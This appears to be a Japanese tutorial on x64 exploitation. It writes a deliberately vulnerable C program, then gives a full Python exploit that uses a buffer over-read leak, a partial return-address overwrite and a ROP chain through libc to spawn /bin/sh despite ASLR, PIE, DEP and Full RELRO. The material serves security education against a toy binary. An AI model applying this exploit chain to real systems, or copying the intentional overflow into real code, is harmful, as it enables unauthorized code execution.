「ROP stager + Return-to-dl-resolve + ブルートフォースによる32bit ASLR+PIE+DEP回避」では、8bitのブルートフォースを行うことでx86環境かつPIEが有効な条件下でのシェル起動を行った。 しかし、x64環境ではASLRによりランダム化されるbit数が28bitとなるため、ブルートフォースによるPIE回避は難しい。 ただし、何らかの方法でInformation Leakができ、実行ファイルあるいはlibcのアドレスが特定できる場合には、x64環境であってもPIE回避は可能である。 ここでは、(恣意的な例ではあるが)Buffer over-readによるInformation LeakおよびPartial overwriteを行うことで、x64環境かつASLR+PIE+DEP+FullRELROが有効な条件下でのシェル起動をやってみる。
環境
Ubuntu 14.04.1 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ clang --version Ubuntu clang version 3.4-1ubuntu3 (tags/RELEASE_34/final) (based on LLVM 3.4)
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローおよびBuffer over-readを起こせるコードを書く。 また、ここではこれまでのコードとは異なり、脆弱性のある関数からのリターンアドレスが実行ファイル中となるようにオーバーフローが起こる関数を分ける。
/* bof.c */ #include <unistd.h> int f() { char buf[100]; int size; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; } int main() { return f(); }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
clangを使い、ASLR、PIE、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ clang -fno-stack-protector -Wl,-z,relro,-z,now -fPIE -pie bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
Partial overwriteによるASLR回避
ASLRおよびPIEが有効な場合、実行ファイルが置かれるアドレスも共有ライブラリ同様にランダム化される。 しかしリトルエンディアン環境においては、リターンアドレスなどの下位バイトのみを書き換えることで付近のコードにジャンプさせることが可能である。 この手法はPartial overwriteと呼ばれる。
今回の例においては、まずBuffer over-readによりリターンアドレスの読み出しを行い、実行ファイルのベースアドレスを特定する。 さらに、Partial overwriteによりリターンアドレスを少し手前に戻すことで、Return-to-vuln同様に再度脆弱性のある関数を呼び出し、特定した実行ファイルのベースアドレスをもとに構築したROPシーケンスを実行する。 これができれば、あとはPIEが無効な場合と同様にDynamic ROPなどを行うことでシェルを起動することができる。
エクスプロイトコードを書いてみる
最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
上で出力した情報をもとに、Buffer over-readおよびPartial overwriteを用い、PIEを回避するエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_bss = 0x0000000000201010 # readelf -S a.out addr_got_read = 0x200fb8 # objdump -d -j.plt a.out addr_got_write = 0x200fb0 # objdump -d -j.plt a.out addr_got_start = 0x200fc0 # objdump -d -j.plt a.out addr_f = 0x00000000000007d0 # objdump -d a.out addr_csu_init1 = 0x8b6 addr_csu_init2 = 0x8a0 addr_to_call_again = 0x84f """ 0000000000000860 <__libc_csu_init>: ... 8a0: 4c 89 ea mov rdx,r13 8a3: 4c 89 f6 mov rsi,r14 8a6: 44 89 ff mov edi,r15d 8a9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 8ad: 48 83 c3 01 add rbx,0x1 8b1: 48 39 eb cmp rbx,rbp 8b4: 75 ea jne 8a0 <__libc_csu_init+0x40> 8b6: 48 83 c4 08 add rsp,0x8 8ba: 5b pop rbx 8bb: 5d pop rbp 8bc: 41 5c pop r12 8be: 41 5d pop r13 8c0: 41 5e pop r14 8c2: 41 5f pop r15 8c4: c3 ret 0000000000000840 <main>: 840: 55 push rbp 841: 48 89 e5 mov rbp,rsp 844: 48 83 ec 10 sub rsp,0x10 848: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0 84f: e8 7c ff ff ff call 7d0 <f> 854: 48 83 c4 10 add rsp,0x10 858: 5d pop rbp 859: c3 ret """ p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) # stage 1: # read the base address of executable buf = 'A' * bufsize buf += 'A' * (8-len(buf)%8) buf += 'AAAAAAAA' * 2 buf += struct.pack('<B', addr_to_call_again & 0xFF) # partial overwrite p.stdin.write(struct.pack('<Q', len(buf)-1+8)) p.stdin.write(buf) p.stdout.read(len(buf)-1) ref_addr = struct.unpack('<Q', p.stdout.read(8))[0] b = ref_addr - addr_to_call_again print "[+] addr_base = %x" % b # stage 2: # read address of __libc_start_main() buf = 'A' * bufsize buf += 'A' * (8-len(buf)%8) buf += 'AAAAAAAA' * 2 buf += struct.pack('<QQQQQQQQ', b + addr_csu_init1, 0, 0, 1, b + addr_got_write, 8, b + addr_got_start, 1) buf += struct.pack('<QQQQQQQQ', b + addr_csu_init2, 0, 0 ,0, 0, 0, 0, 0) buf += struct.pack('<Q', b + addr_f) p.stdin.write(struct.pack('<Q', len(buf))) p.stdin.write(buf) p.stdout.read(len(buf)) addr_libc_start = struct.unpack('<Q', p.stdout.read(8))[0] print "[+] addr_libc_start = %x" % addr_libc_start # stage 3: # read libc binary stacksize = 0x400 base_stage = b + addr_bss + stacksize libc_readsize = 0x160000 buf = 'A' * bufsize buf += 'A' * (8-len(buf)%8) buf += 'AAAAAAAA' * 2 buf += struct.pack('<QQQQQQQQ', b + addr_csu_init1, 0, 0, 1, b + addr_got_write, libc_readsize, addr_libc_start, 1) buf += struct.pack('<QQQQQQQQ', b + addr_csu_init2, 0, 0 ,1, b + addr_got_read, 100, base_stage, 0) buf += struct.pack('<QQQQQQQQ', b + addr_csu_init2, 0, 0 ,0, 0, 0, 0, 0) buf += struct.pack('<Q', b + addr_f) p.stdin.write(struct.pack('<Q', len(buf))) p.stdin.write(buf) p.stdout.read(len(buf)) libc_bin = p.stdout.read(libc_readsize) print "[+] len(libc_bin) = %x" % len(libc_bin) buf = struct.pack('<Q', base_stage + 16) buf += struct.pack('<Q', 0) buf += "/bin/sh\x00" buf += 'A' * (100-len(buf)) p.stdin.write(buf) # stage 4: # execve("/bin/sh", {"/bin/sh", NULL}, NULL) addr_pop_rax = addr_libc_start + libc_bin.index('\x58\xc3') # pop rax; ret addr_pop_rdi = addr_libc_start + libc_bin.index('\x5f\xc3') # pop rdi; ret addr_pop_rsi = addr_libc_start + libc_bin.index('\x5e\xc3') # pop rsi; ret addr_pop_rdx = addr_libc_start + libc_bin.index('\x5a\xc3') # pop rdx; ret addr_syscall = addr_libc_start + libc_bin.index('\x0f\x05') # syscall nr_execve = 59 # grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h buf = 'A' * bufsize buf += 'A' * (8-len(buf)%8) buf += 'AAAAAAAA' * 2 buf += struct.pack('<Q', addr_pop_rax) buf += struct.pack('<Q', nr_execve) buf += struct.pack('<Q', addr_pop_rdi) buf += struct.pack('<Q', base_stage + 16) buf += struct.pack('<Q', addr_pop_rsi) buf += struct.pack('<Q', base_stage) buf += struct.pack('<Q', addr_pop_rdx) buf += struct.pack('<Q', 0) buf += struct.pack('<Q', addr_syscall) p.stdin.write(struct.pack('<Q', len(buf))) p.stdin.write(buf) p.stdout.read(len(buf)) p.stdin.write("exec /bin/sh <&2 >&2\n") p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
- Partial overwriteにより、リターンアドレスの下位1バイトを書き換え脆弱性のある関数
f
を呼び出す直前に向ける(854→84f)ことで、再度f
が呼び出されるようにする - Buffer over-readにより、Partial overwriteで書き換えられたリターンアドレスを読み出し、実行ファイルのベースアドレスを特定する
- 再度呼び出された
f
を通して、Dynamic ROP+Return-to-vulnを行う
引数をセットし実行してみる。
$ python exploit.py 100 [+] addr_base = 7f83029e8000 [+] addr_libc_start = 7f830241edd0 [+] len(libc_bin) = 160000 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
上の結果より、シェルが起動できていることが確認できる。 さらに、もう一度エクスプロイトコードを実行すると、実行ファイルのベースアドレスとlibcのアドレスが変わっている、すなわちASLR+PIEが有効な状態であることが確認できる。
$ python exploit.py 100 [+] addr_base = 7f8597ada000 [+] addr_libc_start = 7f8597510dd0 [+] len(libc_bin) = 160000 $
以上の結果より、Buffer over-readによるInformation LeakおよびPartial overwriteを用いることで、x64環境かつASLR+PIE+DEP+FullRELROが有効な条件下でシェルが起動できていることが確認できた。
関連リンク
- Bypassing PaX ASLR protection (Phrack 59)
- The Info Leak Era on Software Exploitation (Black Hat USA 2012)
- Abusing Performance Optimization Weaknesses to Bypass ASLR (Black Hat USA 2014)
- The Art of Leaks: The Return of Heap Feng Shui (CanSecWest 2014)
- ASLR Bypass Apocalypse in Recent Zero-Day Exploits | FireEye Blog